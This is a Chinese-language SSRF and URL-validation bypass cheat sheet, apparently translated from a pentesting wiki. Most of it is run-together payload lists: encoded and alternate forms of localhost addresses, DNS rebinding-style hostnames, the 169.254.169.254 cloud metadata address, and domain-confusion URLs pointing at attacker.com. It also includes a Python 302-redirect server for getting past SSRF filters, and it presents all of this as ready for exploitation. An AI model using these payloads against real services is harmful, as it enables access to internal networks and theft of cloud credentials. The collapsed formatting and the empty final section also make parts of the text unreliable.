扩展
@
在 URL 中,@ 符号通常用于指示用户名和密码的身份验证信息。在基本身份验证(Basic Authentication)中,用户名和密码可以被包含在 URL 中,格式为:http(s)://username:password@host/path
其中,username 和 password 表示需要身份验证的用户名和密码,host 表示要访问的主机名或 IP 地址,path 表示要访问的资源路径。
但是,使用 @ 符号来传递身份验证信息有一些安全风险,因为它会使得密码以明文形式出现在 URL 中,容易被拦截并窃取。因此,在较新的浏览器版本中,这种方式已经不再被推荐使用,而是使用更安全的方式,如添加 HTTP 头部进行身份验证。
所以我们可以在利用时使用:
http://abc@127.0.0.1 # 表明是使用 abc 用户访问https://expected-host@evil-host # 意思是使用 HTTPS 协议连接 evil-host 主机,并在连接过程中指定预期的主机名为 expected-host
#
在 URL 中我们使用 #来标明分段
https://evil-host#expected-host
DNS 命名层次结构
- 使用 DNS 命名层次结构将所需输入放入我们控制的完全限定 DNS 名称
https://expected-host.evil-host# 原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
Localhost
# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://0http:@0/ --> http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/ SMTPhttp://[::]:3128/ Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# . bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# 十进制 bypasshttp://2130706433/ = http://127.0.0.1http://3232235521/ = http://192.168.0.1http://3232235777/ = http://192.168.1.1# 八进制 Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# 十六进制 bypass127.0.0.1 = 0x7f 00 00 01http://0x7f000001/ = http://127.0.0.1http://0xc0a80014/ = http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# 也可以使用混合不同的编码格式# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me = 127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1mail.ebc.apple.com = 127.0.0.6 (localhost)127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network = 127.0.0.2 (localhost)1ynrnhl.xip.io == 169.254.169.254spoofed.burpcollaborator.net = 127.0.0.1

Domain Parser
https:attacker.comhttps:/attacker.comhttp:/\/\attacker.comhttps:/\attacker.com//attacker.com\/\/attacker.com//\/attacker.com//attacker.com%0D%0A/attacker.com#attacker.com#%20@attacker.com@attacker.comhttp://169.254.1698.254\@attacker.comattacker%00.comattacker%E3%80%82comattacker。comⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ ⓉⓊ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Domain Confusion
# 也可以尝试将 attacker.com 修改为 127.0.0.1 以尝试访问本地主机http://{domain}@attacker.comhttp://{domain}%6D@attacker.comhttps://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.comhttp://attacker.com#{domain}http://{domain}.attacker.comhttp://attacker.com/{domain}http://attacker.com/?d={domain}https://{domain}@attacker.comhttps://attacker.com#{domain}https://{domain}.attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}http://{domain}@attacker.comhttp://attacker.com#{domain}http://{domain}.attacker.comhttp://attacker.com/{domain}http://attacker.com/?d={domain}http://attacker.com%00{domain}http://attacker.com?{domain}http://attacker.com///{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1 &@2.2.2.2# @3.3.3.3/# 参数污染next={domain}&next=attacker.com
Path and Extensions ByPass
如果你被要求URL必须以路径或扩展名结尾,或者必须包含一个路径,你可以尝试以下的绕过方法之一:
https://metadata/vulerable/path#/expected/pathhttps://metadata/vulerable/path#.extensionhttps://metadata/expected/path/..%2f..%2f/vulnerable/path
Fuzzing
工具recollapse可以从一个给定的输入中产生变化,以试图绕过所使用的重合词。更多信息请查看 Till REcollapse - 0xacb。
通过重定向绕过
可能是服务器过滤了SSRF的原始请求,但没有过滤对该请求可能的重定向响应。
例如,一个容易受到SSRF攻击的服务器通过:url=https://www.google.com/ 可能会过滤url参数。但是,如果你使用一个Python服务器,用302响应你想重定向的地方,你可能能够访问被过滤的IP地址,如127.0.0.1,甚至被过滤的协议,如 gopher
#!/usr/bin/env python3#python3 ./redirector.py 8000 http://127.0.0.1/import sysfrom http.server import HTTPServer, BaseHTTPRequestHandlerif len(sys.argv)-1 != 2:print("Usage: {} <port_number> <url>".format(sys.argv[0]))sys.exit()class Redirect(BaseHTTPRequestHandler):def do_GET(self):self.send_response(302)self.send_header('Location', sys.argv[2])self.end_headers()HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Explained Tricks
Blackslash-trick
简而言之, backslash-trick 依赖于利用两个 “URL “规范之间的微小差异:WHATWG URL标准和RFC3986。RFC3986是一个通用的、多用途的统一资源标识符语法规范,而WHATWG URL标准是专门针对网络和URL的(它是URI的一个子集)。现代浏览器执行WHATWG的URL标准。
两者都描述了一种解析URI/URLs的方法,但有一点不同。WHATWG规范描述了一个额外的字符,即/,它的作用就像/:结束主机名和权限,并开始URL的路径。

Other Confusions

